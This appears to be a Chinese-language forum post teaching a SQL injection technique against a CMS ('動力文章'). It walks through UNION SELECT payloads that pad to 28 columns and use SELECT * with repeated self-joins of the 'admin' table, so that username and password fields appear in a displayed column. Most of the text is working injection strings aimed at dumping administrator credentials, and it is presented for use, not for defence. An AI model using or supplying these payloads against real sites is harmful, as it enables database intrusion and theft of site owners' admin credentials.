我舉動力文章的例子 他是28個字段 加入admin表5個字段 那麼union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin * 就是5個字段? 這樣來爆admin裡邊的所有表明 但注意 * 確是代表了所有admin表的字段 如果正好比如username在可顯示位置 他就會顯示在頁面上 我需要爆他的字段呢· 技術都有局限性 這個方法需要知道表名和一個字段名id 不需要其他字段 比如什麼passWord username 你要問他如果不在可顯示位置麼 通常不知道的是表名 表段名 可以通過查找後台登陸找到 這個就要看自己的了 大家看看這個語句 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id) 這個(admin as a inner join admin as b on a.id=b.id)是admin表自連接 這樣from 後面的表就會成為字段數加倍的表
前面18+2*5 = 28 個字段 就是合法的
*代表的字段就會拓寬 加大username passWord在可顯示位置的幾率
如果不在怎麼辦? 那麼union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
如果還沒成功 怎麼辦? union select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on a.id=d.id)